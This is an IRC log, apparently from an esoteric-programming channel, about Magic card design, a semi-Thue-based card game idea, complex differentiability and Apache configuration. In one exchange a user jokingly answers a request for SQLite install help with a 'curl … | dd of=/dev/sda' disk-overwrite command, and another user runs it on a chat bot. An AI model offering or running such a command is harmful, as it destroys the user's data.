04:39:12 <hppavilion[1]> I'm trying to figure out where to go with Euclid to keep it nearly fully declarative like Haskell is...
04:39:34 <hppavilion[1]> Obviously, IO is a problem for declarativeness, but I'll deal with that.
04:39:49 <hppavilion[1]> Well, I guess it's only a BIG problem for functional languages
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06:27:37 <zzo38> Do you think my "Eldritch Veil" card should have shroud?
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07:34:20 <b_jonas> zzo38: I don't really understand Eldritch Veil. What is that useful for, except for controlling another player?
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07:40:46 <b_jonas> argh, stupid unusable webpage
07:43:47 <zzo38> That was one of my intentions yes; I don't know if that makes it overpowered. But there is other possibility too if sacrificing something can help you to win before it resolves, or maybe just use with affinity, or whatever something else
07:44:38 <zzo38> I think it is not too much overpower since you will need some other cards too but I am not quite sure. If it had shroud though then you cannot target it with Donate or whatever.
07:45:59 <zzo38> Some of the card I put favor texts now do you like that one, or other comment/suggestion even of the newer cards?
07:46:34 <b_jonas> but isn't there already some artifact for this that has more uses?
07:47:30 <b_jonas> "win before it resolves" -- that is VERY unlikely
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07:55:58 <b_jonas> there are already lots of artifacts for {0} if you only need them for affinity: Accorder's Shield (an equipment from M14), Bone Saw (inverse Shuko from Conflux), Darksteel relic (a useless artifact from NPH), Everflowing Chalice (mana producer), Fountain of Youth, |Herbal Poultice, Kite Shield (another equipment), Lodestone Bauble (bauble means it lets you draw a card), \
07:59:07 <zzo38> Yes, it is unlikely I suppose, I don't know if it need to be changed at all actually
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08:00:08 <b_jonas> Lodestone Bauble (bauble means it lets you draw a card), Memnite (the 1/1 creature), Mishra's Bauble (this one is expensive, but also the best bauble), Ornithopter, Phyrexian Walker, Shield Sphere (a useful wall), Sigil of Distinction (an equipment that's useless for {0}), \
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08:03:27 <b_jonas> Spellbook, Spidersilk Net (wow so many equipments), Tormod's Crypt (this one is famous and got reprinted a lot, used against graveyard-related decks), Urza's Bauble (almost as good as Mishra's, but cheap), Welding Jar (this is even sort of useful in an affinity deck, though not as useful as many artifacts for {1} or {2}), Zuran's Orb.
08:03:50 <b_jonas> Wow, I didn't know there were so many. The only one I currently own in my collection are Ornithopter.
08:04:13 <hppavilion[1]> Maybe we should invent our own M:tG-like card game
08:05:17 <b_jonas> hppavilion[1]: I was thinking of a nethack-themed one sort of, which I could call “Nethack: the Card Game”
08:05:18 <hppavilion[1]> Possibly a lot of programming jokes, perhaps even build programming into the card game
08:05:20 <b_jonas> I have some ideas but I couldn't get it to work reasonably yet.
08:05:53 <hppavilion[1]> ("foo" would be a morphic card, which does something morphy)
08:06:00 <b_jonas> Yes, nethack gives all the memes.
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08:08:10 <b_jonas> hppavilion[1]: head over to #nethack or #nethack4 and ask there
08:08:10 <hppavilion[1]> b_jonas: What should the data model of this card game be? xD
08:08:48 <hppavilion[1]> Oooh, esocards should definitely feature Nomicy goodness
08:09:13 <b_jonas> what do you mean by "data model"?
08:09:32 <hppavilion[1]> b_jonas: What is the flow of "information" within the card game?
08:10:33 <hppavilion[1]> I've never played one of those trading card games, so it'll probably come out horribly xD
08:10:44 <b_jonas> hppavilion[1]: I don't really know enough about that card game yet. I have problems with the basic workings and base rules, not the individual cards.
08:11:24 <hppavilion[1]> https://docs.google.com/document/d/1Jja2U09wCrBVdGJxtiNBjCd9N8fE1mjDvNhN8eyDaLE/edit?usp=sharing is where I'm compiling ideas, if you happen to think of anything
08:12:31 <b_jonas> hppavilion[1]: the hypothetical Nethack: the Card Game
08:13:32 <hppavilion[1]> Oh, were you confused by "what is the flow of \"information\" within the card game"? That was me explaining what I meant by data model within a card game
08:13:36 <b_jonas> wait, did you mean M:tG or some other trading card game (Pokémon TCG, Yu Gi Oh, etc, there are a lot these days)
08:14:39 <hppavilion[1]> b_jonas: I meant the card game I'm starting work on right now and am likely never going to finish, more than likely abandoning within a few days at most
08:15:37 <b_jonas> hppavilion[1]: you decide the name LAST
08:16:00 <b_jonas> after you know what the game is like
08:16:00 <b_jonas> until then, a development codename is fine
08:16:05 <hppavilion[1]> b_jonas: Well yes, but it's priority 1, meaning as soon as it's possible to name it's the highest priority
08:16:31 <hppavilion[1]> Renaming is always an option, unless it happens to get incredibly popular and it stops being an option
08:16:41 <b_jonas> if you don't like "esocards" as a development codename, just take a random name from some epic fiction that has tons of named characters.
08:16:41 <b_jonas> don't choose a popular name like "Athena" which has hundreds of things named of them
08:17:15 <b_jonas> seriously, I don't get why people still keep naming everything Athene or Athena
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08:20:38 <hppavilion[1]> So one of my ideas is that you need to have a moderate-to-advanced understanding of computer science to play at an effective level xD
08:20:46 <b_jonas> (Mind you, Mr. Orbán's government naming everything from Széchenyi István is also bad. I'm especially pissed off by the jerk move where they renamed Roosevelt tér (in Budapest).)
08:22:45 <b_jonas> I mean, Pallas Athene already has a freaking city and a noble metal named of him, isn't that enough?
08:22:45 <b_jonas> hppavilion[1]: what? to play what?
08:24:28 <b_jonas> oh, you want such a card game? why not just take Lambda: the Gathering for that?
08:24:32 <b_jonas> hppavilion[1]: http://esolangs.org/wiki/Lambda:_the_Gathering
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08:25:36 <hppavilion[1]> b_jonas: That works, but I feel like spending some time and attempting to develop my own. A needlessly complicated one at that.
08:25:47 <hppavilion[1]> With data structures and semi-thue systems and shit
08:28:06 <hppavilion[1]> It could be used, not as a gentle introduction to computer science, but as a deep-immersion introduction. Like going to France to learn French.
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13:03:20 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: HNQ: not found
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13:08:11 <HackEgo> word/word (Microsoft Word) was a text-editor for animated texts but not anymore.
13:08:15 <HackEgo> wise/Uninstalling software installed by the Wise Installation Wizard is unwise. It's neither clockwise nor counterclockwise nor otherwise.
13:08:19 <HackEgo> thausiblee/A thausiblee is the recipient of a thausible action.
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13:47:58 <oerjan_> wat, is every freenode server flaky today
13:48:29 <oerjan_> i guess that explains the huge log, it's probably all netsplits
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14:04:17 <oerjan> Lag: 166, it's probably happening again
14:04:29 <myname> does anybody know if there is a rulebook based on an oots-based system?
14:04:31 <myname> i'd just love to play belkar
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14:06:13 <oerjan> myname: i thought oots was officially D&D 3.5
14:07:44 <myname> i'm not sure if i'd be happy with that :D
14:07:53 <myname> in my pov, dnd seems to be an american thing
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14:55:34 <\oren\> infamy! who would dare?!?!
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14:57:40 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45680&oldid=45649 * Luis Mendo * (+226) /* Specification */
14:58:31 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45681&oldid=45680 * Luis Mendo * (+8) /* Compiler */
15:05:32 <HackEgo> sixtustha51: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
15:13:06 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45682&oldid=45681 * Luis Mendo * (+1) /* Specification */
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15:42:51 <Taneb> The FSA I posted yesterday is incorrect...
15:43:11 <Taneb> (OS, 5) should go to OI, not OO
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16:00:17 <oerjan> @tell tswett <tswett> In the complex numbers, if a function is differentiable at a point, then it is also differentiable on an entire disk surrounding that point, arbitrarily many times. <-- i don't think that's quite right... you need in a disk to start with.
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17:18:47 <coppro> oerjan: I think that works if f is continuous
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17:20:12 <b_jonas> now if the function is _twice_ differentiable in a point, that might be enough
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17:37:31 <oerjan> b_jonas: if it's twice differentiable, then by definition, it must be differentiable in a neighborhood, so yeah.
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17:40:28 <oerjan> coppro: even with continuity, there's just too many ways you could mess it up in a neighboorhood. or put a different way, you can "obviously" make a function that has derivative 0 in a point, but completely chaotic (apart from being continuous) near it.
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17:42:12 <oerjan> hm, i think abs(z)^2 is an example (not chaotic, but not differentiable near it either)
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17:43:10 <oerjan> (it's _real_ differentiable everywhere, off course.)
17:44:38 <oerjan> being the same a z * conj(z)
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17:51:57 <Taneb> http://arin.ga/4XHhbc is quite possibly the most elegant-looking fizzbuzz I have written
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17:57:08 <zzo38> Second Bargain {2W} Instant ;; Target opponent draws a card. ;; You gain 8 life if it is your main phase and there aren't any other objects on the stack, otherwise you gain 5 life.
17:58:23 <Taneb> It also runs in O(n log n) time, which is much more efficient than other fizzbuzz programs I have written
18:00:11 <oerjan> i guess technically that's optimal, because the output has O(n log n) length
18:01:48 <Taneb> Hmm, that is a good point
18:01:50 <oerjan> s/O/Theta/ or something
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18:15:47 <zzo38> The official "Bargain" card isn't quite good so I made up this new one is better? What is your opinion of such thing?
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18:21:09 <coppro> 2WW gain 8 life would probably be about fair, maybe 3W
18:21:28 <coppro> and even that would be a weak card
18:22:47 <zzo38> I changed it to an instant rather than a sorcery, and if used as a sorcery you gain 1 additional life point (otherwise you gain less)
18:25:00 <zzo38> I would still use it though
18:26:20 <zzo38> But do you think there are other changes? Even if other than how you specify?
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18:29:37 <zzo38> I think this "Second Bargain" is much better than the ordinary "Bargain"
18:31:46 <zzo38> (But I am also the guy who would play something like "Fateseal 1, and then target opponent draws a card")
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19:19:27 <b_jonas> coppro: unplayably bad in limited or constructed?
19:19:36 <b_jonas> it's life gain, so there's a big difference
19:21:02 <b_jonas> As for lifegain, I prefer black's method. Drain life from opponent or from a creature.
19:27:00 <b_jonas> It's funny to see mathematics from 1992 typeset in TeX in the computer modern font, but with professionally hand-drawn figures
19:35:59 <zzo38> I also want to know, it can be different in limited or constructed, as well as other stuff I think
19:37:21 <zzo38> Also this new one is forcing opponent to draw a card as an instant, while the old one is not an instant.
19:38:16 <zzo38> However I made up several more new cards too. Some of which now have favor texts and/or notes too.
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20:10:47 <b_jonas> zzo38: to compare, there's an instant for 2WW that gains you 7 life, and an instant for 2W that gains you 6 life and has an advantage.
20:11:08 <b_jonas> I don't know about lifegain cards with serious drawbacks though.
20:11:49 <b_jonas> Oh, I mean, I do know about some. I'm happy to sacrifice my infinite toughness creature to gain infinite life from it.
20:13:02 <b_jonas> I use Animal Boneyard and Starlit Sanctum for that
20:17:09 <b_jonas> let me see what else I could use for that slot. I have a Condemn, but that only works while attacking, which restricts my options.
20:18:35 <zzo38> Note that there are many different formats, not only Constructed and Limited but even many different kind of Limited formats such as Draft, Rochester Draft, Team Rochester Draft, Sealed, Duplicate Sealed, etc. And then, there is duel decks designing
20:18:40 <b_jonas> there's an aura called Death Watch
20:19:19 <zzo38> OK I looked at that; I like that too
20:19:21 <b_jonas> zzo38: sure, I said "limited or constructed" because life gain cards like that are famously very bad in limited and only somewhat bad in constructed
20:19:59 <b_jonas> the advantage of Death Watch is that it works on any creature (not only clerics) and has a low mana cost, but the serious drawback is that it's off-color
20:20:15 <b_jonas> that deck must use white to get the infinite toughness creature
20:21:44 <b_jonas> oh, but the problem with Death Watch is that if I put it to the creature, then my opponents won't kill that creature that turn, so I won't actually gain the life
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20:23:36 <zzo38> How bad it is can also depend on circumstances though. Death Watch can be good but it is not an instant (although you may be able to cause it to trigger as an instant)
20:24:23 <b_jonas> it won't work, because I can't kill the creature. or at least, I can kill it by sacrificing it to another card to gain life, but then I don't need the aura
20:24:50 <b_jonas> there's this Disciple of Griselbrand
20:25:22 <b_jonas> which has the advantage that it's a cleric
20:25:33 <b_jonas> and works at instant speed
20:26:01 <b_jonas> let me see what else there is
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20:29:38 <b_jonas> There's this strange card called Life Chisel, which is surprisingly cheap (card price) given that it's an Antiquities uncommon, with the drawback that it works only in the upkeep so it restricts my options to the Kors as opposed to Shuko, and also costs {4} which is too much.]
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20:31:16 <b_jonas> there's this so called Miren, the Moaning Well which activates for {3} but otherwise is good, but it's a somewhat pricy rare
20:32:26 <b_jonas> Proper Burial triggers when the creature dies, so it's like Death Watch, but it's for {3W}
20:34:04 <b_jonas> There's Sheltering Word which is interesting because it is of dual use: I can use it either to protect my creature, or to gain life, either of which is useful in this deck.
20:34:59 <zzo38> Play all-colors deck
20:35:18 <b_jonas> no. this one definitely can't work all colors.
20:35:33 <b_jonas> it might work in two colors, maybe, but even that would strain it.
20:36:15 <b_jonas> Oh, and Worthy Cause! I actually use that in the deck and I forgot.
20:37:05 <b_jonas> Ok, then it seems there's nothing better for this really. I just need to buy more copies of Worthy Cause and of Nomads En-Kor.
20:37:29 <b_jonas> Plus replace the few cards that aim to win after I go off with infinite life.
20:38:07 <b_jonas> In particular, Elixir of Immortality had not yet been printed when I made that deck, so I have much worse replacements.
20:41:05 <b_jonas> Oh, and four of the two mana Kor too, probably, if I don't have four yet.
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20:45:08 <b_jonas> Hmm, let me check how many I have of each of the cards. I think I have 1 Worthy cause, 4 Starlit Sanctum, dunno how many Animal Boneyard, 1 Nomads en-Kor, at least one Warrior en-Kor, 4 Shuko, 4 of that cleric thingy, and
20:45:24 <b_jonas> oh, and I have to buy these newfangled newly printed cards that are like the cleric but for cheaper
20:45:47 <b_jonas> I have some other old one, but I think I've looked at the new ones for that slot and they're better.
20:46:52 <zzo38> Another format can be duel decks with a duplicate sealed sideboard which may be swapped in before the game is started
20:47:27 <b_jonas> I make an infinite mana deck based on Krosan Restorer, and later they print the much better Arbor Elf and now a two mana version too.
20:48:35 <b_jonas> I build a deck based on two creatures that can block any number of creatures (Wall of Glare and Ironfist Crusher) and later they printed multiple cheaper white creatures where that ability was priced lower.
20:49:32 <b_jonas> And I build this infinite toughness deck with Daru Spiritualist and whatever the other similar creature is, and they print a better one.
20:50:09 <zzo38> Do you like any of my rule/format variant? Or if you have suggestions for changing the "Traitor Scheming" game if you think there is something wrong with it
20:50:28 <b_jonas> Maybe if I want a better version of any card printed, I just need to build a combo deck with it and then wait ten years?
20:50:37 <b_jonas> less than ten years really
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20:51:19 <b_jonas> zzo38: where's this Traitor Scheming game described?
20:54:38 <zzo38> gopher://zzo38computer.org/0textfile/miscellaneous/magic_card/traitor_scheming.var
20:55:35 <zzo38> (Currently it doesn't work on HTTP due to filename extension and I am not sure how to fix it. If you know how to make everything there just text/plain then you can tell me please, it can work with both HTTP and Gopher then)
20:56:44 <b_jonas> I might be able to help with the Apache thing, but I'll check it out from Gopher for now I think
20:58:40 <b_jonas> zzo38: is the 0 part of the url?
20:59:00 <b_jonas> but maybe gopher urls work that way
20:59:04 <zzo38> b_jonas: Yes, but it is the type code and is not a part of the selector string. If you are using raw connections, omit the 0
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21:00:09 <zzo38> In any software that uses URLs, the 0 should be required; omit the 0 if you are not using a URL
21:02:20 <b_jonas> zzo38: as for the apache, edit your apache configuration file (or .htaccess file if the apache config allows that) to add (possibly only for some directories) either "AddType text/plain .var" or "DefaultType text/plain" or "ForceType text/plain"
21:03:58 <zzo38> I did the last one in .htaccess and that changed the icons but did not prevent the error. I will try the second one too to see if it works, although I do want text/plain for everything under the textfile directory and its subdirectories (but not other directories).
21:04:30 <zzo38> No, it doesn't work
21:05:56 <b_jonas> zzo38: you may need to change your main apache config then
21:06:34 <zzo38> It clearly does recognize "ForceType text/plain" because it is changing the icons for all of the files to the text files icon
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21:07:12 <b_jonas> zzo38: does AddType work? if not, find the AllowOverride line in your main apache config and can you tell me what it says?
21:07:21 <b_jonas> there maybe more than one, directory specific.
21:08:16 <zzo38> AllowOverride All for /var/www/
21:08:31 <b_jonas> zzo38: and no other options? hmm
21:08:54 <zzo38> Actually, I now added: RemoveHandler .var to the same /var/www/textfile/.htaccess file after ForceType text/plain and now it works.
21:09:03 <b_jonas> zzo38: have you checked if there's something in the error logs about config file errors when you restart apache and then load ...
21:09:42 <b_jonas> indeed it works on http now
21:10:06 <b_jonas> I have 3 Worthy Cause, 4 Starlit Sanctum, 4 Animal Boneyard,
21:23:38 <J_Arcane> A fun solution for the Clojure threading macros in Heresy: https://github.com/jarcane/heresy/blob/f58415a79fd9ec78e5f16eeeb79b3e8efa845e82/examples/pipeland.hsy
21:27:13 <zzo38> Do you like this kind of game? It is the Archenemy game but no shared team turns are used and there might be one traitor. If the scheming player receives a traitor card then he knows that he plays alone but other player don't know. If all players receive blank card, then nobody knows until the game is finished.
21:30:20 <b_jonas> 4 Daru Spiritualist, 1 Warrior en-Kor, 4 Outrider en-Kor, (4 Palace Guard which is the card they printed later than I made the Wall of Glare deck),
21:33:35 <b_jonas> 4 Task Force, 4 Spirit en-Kor, 4 Lancers en-Kor (these expensive ones aren't useful for this deck of course).
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21:35:39 <b_jonas> Didn't I have Icatian Javeliners though?
21:35:47 <b_jonas> I don't need it for a deck, just find it strange
21:37:52 <b_jonas> quintopia: what about werewolves?
21:39:02 <zzo38> What's this about werewolf?
21:39:56 <b_jonas> what werewolf? all I see is a well-reputed scientist. no werewolf here. not even at full moon.
21:40:30 <izabera> did you know that /r/incest exists?
21:41:16 <b_jonas> (Homicidal Brute isn't a werewolf)
21:42:20 <b_jonas> (nor is Delver of Secrets)
21:48:11 <nvd> izabera: I did not but I do not think I am much surprised
21:49:30 <b_jonas> zzo38: re traitor variant, interesting. I've played or seen some games with hidden roles and they're often interesting: mafia, the card game version of whatever that western themed game is called, the gold miners card game.
21:53:50 <zzo38> Napoleon card game is a trick game with ordinary playing cards, where the declarer names a card and whoever holds that card is the declarer's partner; other players do not know who is his partner until the card is played (even the declarer doesn't know, unless he names a card he holds and therefore plays alone), although for example if he says six of diamonds and another player fails to follow diamonds they can know he isn't them
21:55:19 <b_jonas> zzo38: oh yes, there's that too
21:57:43 <b_jonas> four-player Snapszer, a trick game with cards has that mechanic
21:58:40 <b_jonas> play with the top 24 cards, deal 6 to each, declarer calls card from first 3, that card decides his partner and its color is the trump color
21:59:13 <b_jonas> (this isn't meant as a complete spec)
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22:03:04 <hppavilion[1]> And the only place I put my gmail password was Bluestacks, which I thought was safe because I had friends who used it
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22:05:20 <b_jonas> let me see what the newer cards with an ability like Daru Spiritualist and Task Force were.
22:06:15 <hppavilion[1]> So hopefully they didn't harvest all my contacts and start sending them spam, possibly even from my account
22:06:43 <b_jonas> There's an old card Angelic Protector but that's not better than those two.
22:07:47 <hppavilion[1]> Perhaps a trading card game mixed with an actualy, WoW-like (that is, moving a character around) RPG would be interesting. Then again, that's probably been done a million times.
22:08:56 <b_jonas> There's Horobi, Death's Wail which is really interesting (even if black)
22:09:19 <HackEgo> [wiki] [[~ATH]] http://esolangs.org/w/index.php?diff=45683&oldid=42295 * 162.231.140.49 * (+3731)
22:10:20 <b_jonas> for a different deck, and the Kors and Shuko won't target creatures the opponent controls, but I think there are other nice options for triggering Horobi
22:11:47 <hppavilion[1]> 1) Insert-based editing. You don't have to hit backspace to change characters
22:12:09 <hppavilion[1]> 2) ctrl-<arrow> changes the direction the insert cursor moves when you hit keys
22:12:23 <zzo38> I have thought of a idea of a kind of game with both the card and with board with pieces that can be moved, but this idea of game is probably too complicated to do without computer
22:12:33 <zzo38> (Based on something I dreamt)
22:12:52 <b_jonas> oh, there is a free way too: Martyrdom
22:16:09 <hppavilion[1]> I think I'll incorporate so many different game-type features into Esocards that it's impossible for a normal human being to understand the true state of the game. THAT is my goal.
22:17:04 <zzo38> Actually mine has many differences including hex grid and possibly one cell you might know what is there but opponent doesn't know, and the state of one individual cell is also complicated
22:17:38 <b_jonas> hmm, strange. apaprently there's no more of this kind
22:17:39 <hppavilion[1]> What's the name for that set of shapes that infinitely tiles the plane without ever reapeating?
22:18:11 <b_jonas> Angelic Protector and the two I have are the only ones it seems
22:18:25 <b_jonas> I thought they printed another one or two
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22:19:20 <HackEgo> [wiki] [[~ATH]] http://esolangs.org/w/index.php?diff=45684&oldid=45683 * Hppavilion1 * (+54) Alternative to suicide
22:19:57 <b_jonas> Index was reprinted in M13? oh right, I think I noticed this already, and was surprised about it already.
22:20:32 <hppavilion[1]> zzo38: What if we were to make a tesselational-position board game that used Penrose Tiling as its board form?
22:20:38 <zzo38> (This board game I was describing is "Slugterra Hex Game")
22:20:48 <zzo38> hppavilion[1]: You can try that, OK
22:21:30 <zzo38> How is pieces movement then? Just to cells sharing an edge, or what if you want to do like chess with rook, bishop, knight, etc?
22:22:39 <hppavilion[1]> zzo38: That's the problem. I don't think Chess could be done normally; you'd have to invent new pieces with more penrosian mathematical properties
22:22:44 <b_jonas> hppavilion[1]: but which Penrose tiling? there's a continuum many of them. would you use a fixed one, or one chosen randomly at the start of each game?
22:23:09 <b_jonas> (obviously less than continuum many if you have a bounded size game board)
22:23:14 <hppavilion[1]> b_jonas: Probably a randomly-selected one, fitting certain rules if necessary.
22:24:17 <zzo38> Yes, it could be a kind of chess variant based on such Penrose geometry.
22:24:50 <hppavilion[1]> Alternatively, I might use a fixed one for simplicity
22:25:01 <b_jonas> they are all very similar of course, so it's like Agent Smith
22:25:13 <hppavilion[1]> But it would still have randomness featured: a fixed tiling, but not always the same part
22:25:25 <hppavilion[1]> zzo38: Not just a chess variant; I think I'm going to add this to Esocards
22:25:39 <b_jonas> um, I mean Agent Smith in the sequel, when he plays Mirror Entity
22:27:04 <zzo38> OK do it that way then.
22:28:14 <b_jonas> hppavilion[1]: different tilings, or different parts of the same infinite or very large tiling, that's practically the same thing for a finite game
22:28:59 <hppavilion[1]> b_jonas: Practically, except that different parts of the same tiling will still fit some sort of pattern, even if it's not periodic
22:30:30 <hppavilion[1]> You can execute spells, which are basically just a command prompt, by typing into the command prompt
22:30:35 <b_jonas> yes, but all those different tilings are compatible and any bounded part of one can be found in any other tiling anyway, so that's already true.
22:31:09 <hppavilion[1]> Additionally, the game has a central Semi-thue system that modifies spells before they are executed. The STS affects all players. May only hold temporarily.
22:32:09 <hppavilion[1]> So, one of the things you can do with the STS (however you modify it) is add a rule that erases certain words from spells, thus limiting that for all players.
22:32:40 <hppavilion[1]> I suspect that spells will be stack-based and cease executing when they encounter nonsense
22:33:39 <hppavilion[1]> So, you can declare that the element earth, for example (it may not actually be a cheesy four-elements thing in the final game) can't be use by using "earth::=" when prompted to enter a rule
22:33:55 <hppavilion[1]> (It will /obviously/ be a cheesy 12-elements thing)
22:34:28 <hppavilion[1]> By preventing players from using earth, you effectively limit yourself and your opponent from using roughly 1/4 of available spells.
22:35:58 <hppavilion[1]> Which may be good for your strategy if you don't rely on earth, but you may later be in a bind when using earth may've been useful (e.g. stuck underground, wishing you hadn't blocked yourself from using earth so that you could cast the Inverse Jesus ("Landswimming") spell)
22:37:06 <hppavilion[1]> zzo38: What do you think of that? Semi-thue systems in a videogame.
22:38:49 <hppavilion[1]> Oooh oooh, additionally, semi-thue system rules are applied in a random order, so I figure that when you get the chance to add a new rule, you can add a spell that turns "foo" into "earth" and thus reenable your ability to use earth by typing "foo". However, since the rules are applied randomly, it would only work 50% of the time.
22:42:09 <hppavilion[1]> Even better, you'd be able to tell it that certain rules are prioritized above others, but it isn't exact and is kind of pricy
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23:14:43 <tswett> @tell oerjan So can you give a counterexample to my assertion that if a function is differentiable at a point, then it's also differentiable on a disc surrounding that point?
23:16:19 <mauris> tswett: multiply any everywhere-continuous-but-nowhere-differentiable function f(x) by x^2 and you're done
23:16:39 <mauris> (the result is differentiable only at x=0 and nowhere else)
23:16:51 <int-e> tswett: sin(1/x^2)*x^2 around 0 is sort of standard
23:17:38 <tswett> I don't think that works. I think in the complex numbers, that's not differentiable at 0.
23:17:54 <int-e> tswett: it surely is
23:18:00 <tswett> It's not even continuous at 0.
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23:18:46 <int-e> ah, you have a point there
23:18:59 <tswett> http://www.wolframalpha.com/input/?i=sin%281%2Fx^2%29*x^2+where+x+%3D+0.0001+sqrt%28i%29
23:20:19 <int-e> anyway I didn't know it was supposed to be for complex numbers and mauris' idea is valid anyway
23:20:56 <int-e> (I could've dwelled a bit longer on the term "disk" before translating it to "interval" though)
23:21:47 <tswett> On the complex numbers, f(z) = |z|^2 is differentiable nowhere.
23:22:08 <tswett> Umm, lemme think about that.
23:23:28 <tswett> That actually sounds right.
23:25:13 <tswett> Limit of |z|^2/z near z = 0? Well, |z| is z/sgn(z), making that z^2/(z sgn(z)^2), which reduces to z/sgn(z)^2.
23:25:53 <tswett> Yup, I think you're right.
23:28:56 <zzo38> Can you please tell me how to install the new SQLite on this Ubuntu? I ask them how to do but they won't tell me how.
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23:32:05 <int-e> . o O ( curl http://distfiles.gentoo.org/releases/amd64/autobuilds/20150924/install-amd64-minimal-20150924.iso | dd of=/dev/sda )
23:33:04 <tswett> `run curl http://distfiles.gentoo.org/releases/amd64/autobuilds/20150924/install-amd64-minimal-20150924.iso | dd of=/dev/sda
23:33:06 <HackEgo> dd: opening `/dev/sda': Read-only file system \ Failed to connect to socket 2. \ % Total % Received % Xferd Average Speed Time Time Time Current \ Dload Upload Total Spent Left Speed \
23:33:36 <hppavilion[1]> Stack Magic seems like it'll be an interesting language
23:34:27 <hppavilion[1]> Perhaps I should base it on a subset of the actual elements and call them the classical elements xD
23:35:18 <int-e> (The source of that command was this hilarious experiment, https://www.twitchinstalls.com/ )
23:44:57 <izabera> http://english.stackexchange.com/questions/121502/ending-a-declarative-statement-with-a-question-mark is this irritating?
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23:54:15 <int-e> izabera: I don't know what you mean?
23:54:33 <izabera> do people find it irritating?
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23:55:25 <int-e> I certainly wouldn't use a question mark there. (Except ironically, obviously?)
23:55:26 <izabera> seriously i'm not a native speaker and i see it quite often but my point of view may be skewed
23:56:42 <int-e> I think if it's not a question then it shouldn't have a question mark. However, given that text is a rather limiting medium, in interactive use (on IRC and the like), I can understand using it to convey some level of uncertainty. I suspect I've done that as well.
23:57:56 <tswett> I think I tend to do that.
23:58:04 <tswett> "I guess it's, like, some sort of... coin or something?"
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23:58:38 <int-e> `` echo wisdom/*yzz*
23:58:39 <HackEgo> wisdom/qzyzzalroum wisdom/xyzzy
23:58:46 <HackEgo> You should start the crossword over.
00:04:39 <int-e> . o O ( `le/rn inquisition/The Spanish Inquisition? ¯\(°_o)/¯ )
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00:24:10 <int-e> hmm, but is it really good?
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00:25:28 <hppavilion[1]> What elements should I use in Stack Magic? I want them to be real elements, and I want 12. I have 4: Hydrogen, Iron, Lead, and Gold
00:26:35 <int-e> Distance from Earth? Also, planethood.
00:27:05 <\oren\> copper, nickel, silver, mercury
00:27:53 <\oren\> sulphur, aluminium, carbon,
00:28:09 <int-e> (Just because I can never recall the english name of that element.)
00:28:32 <hppavilion[1]> Instead of copper, I used silicon. Silicon will be used for control or something.
00:29:03 <mauris> re: the question mark thing
00:29:06 <hppavilion[1]> I'll replace Plutonium with Sulphur, and Osmium with Arsenic
00:29:19 <mauris> i'd probably use it for sentences like this?
00:29:45 <int-e> do you have any noble gases?
00:30:36 <\oren\> argon, neon, krypton, xenon radon
00:31:40 <\oren\> wolfram is a good element
00:31:41 <int-e> \oren\: Yeah, Helium
00:31:59 <int-e> the English call it Tungsten
00:32:21 <\oren\> i know, but then the symbol W doesn't make sense
00:32:23 <hppavilion[1]> int-e: I think it's called Tungsten here too, formerly Wolfram
00:34:48 <int-e> copper could be useful for fighting crime
00:35:37 <hppavilion[1]> https://docs.google.com/document/d/1ChIv8ZjIY35WsQleHyLcmt-q5buNlPFTg_iAvmj7b_k/edit?usp=sharing
00:35:45 <int-e> "Copper, British or Australian slang for a Police officer, hence the North American 'cop'"
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00:36:29 <int-e> (I believe it derives from copper helmets that the british police officers used to wear, but didn't verify.)
00:36:42 <hppavilion[1]> int-e: But should I use copper or should I use tin?
00:36:54 <hppavilion[1]> Or should I replace some other element with copper?
00:37:35 <int-e> well, tin sounds kind of boring
00:38:22 <hppavilion[1]> I can represent a single element with an ASCII Character
00:40:13 <hppavilion[1]> Also, I'm calling Tungsten Wolfram because it sounds cooler
00:40:49 <hppavilion[1]> Though really, I'm likely going to wind up storing in strings, so to be fair it doesn't really matter
00:42:11 <int-e> hppavilion[1]: I think you need some sort of semantics :P
00:43:12 <hppavilion[1]> And what should the manifestations be? Currently I just have the 5 states of matter
00:56:04 <hppavilion[1]> int-e: Next, to figure out what's done with these materials.
01:03:04 <hppavilion[1]> int-e: Do you have any sense of realistic quantities? I'm making recipies, and need help figuring out the material cost of recipies; e.g. how much bronze is required to make armour
01:06:56 <HackEgo> :-( \ 0 \ 113500 \ a \ a.o \ a.out \ argv.py \ autowelcome_status \ bdsmreclist \ bin \ blah \ blah \ blah \ blah \ blah \ blah \ canary \ cat \ Complaints \ :-D \ dc \ dog \ emoticons \ error.log \ etc \ evil \ factor \ faith \ fu \ good \ head \ hello \ hello.c \ hi \ hours \ ibin \ index.html?dl=1812 \ interps \ le \ letersort \ lib \ madness
01:07:01 <HackEgo> <oerjan> YOU are out of order.
01:07:43 <HackEgo> >++++++++++++++++++++++++++++++++++++++[--------------------------------------<[->>+<<]>[-<+>]>[-<+>]<>++++++++++<[->>>+<<<]>>>[<<[<+>>+<-]>[<+>-]>-]<<[-]<[-<+>]<>,----------]<>>+<<[->><[->>+<<]>[-<+>]>[-<+>]<<[->>+>+<<<]>>>[-<<<+>>>]<[-<+>]<<<]>>>>++++++++++<<[->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<]>>[-]>>>++++++++++<[->-[>+>>]>[+[-<+>]>+>>]<<<<<]>[-]
01:13:39 <hppavilion[1]> Phantom_Hoover: As in the type of number? That's a tough question...
01:13:40 <int-e> I'll just refuse to be well-ordered.
01:14:55 <hppavilion[1]> OK, so currently the design spec says you can make armour by making a mold for that type of armour (somehow) then having it on the stack above at least enough of the materials used, then mold furnacing it (by having the mold furnace be the selected tool)
01:15:33 <int-e> Phantom_Hoover: http://countyoursheep.keenspot.com/d/20030611.html seems relevant (good night)
01:15:42 <hppavilion[1]> You can also make an obsidian knife by hitting a piece of obsidian with a hammer then having stack: obsidian shard, string, hilt and using the "hands" tool
01:16:06 <hppavilion[1]> This is all text-based, mind you, and you have to juggle a stack to play
01:16:31 <hppavilion[1]> There'll also be a few Alchemical tools used for constructing magical items
01:17:51 <hppavilion[1]> Not to mention that all commands entered are sent through a semi-thue system. Yeah.
01:21:25 <tswett> Hey everyone, look at this file I created.
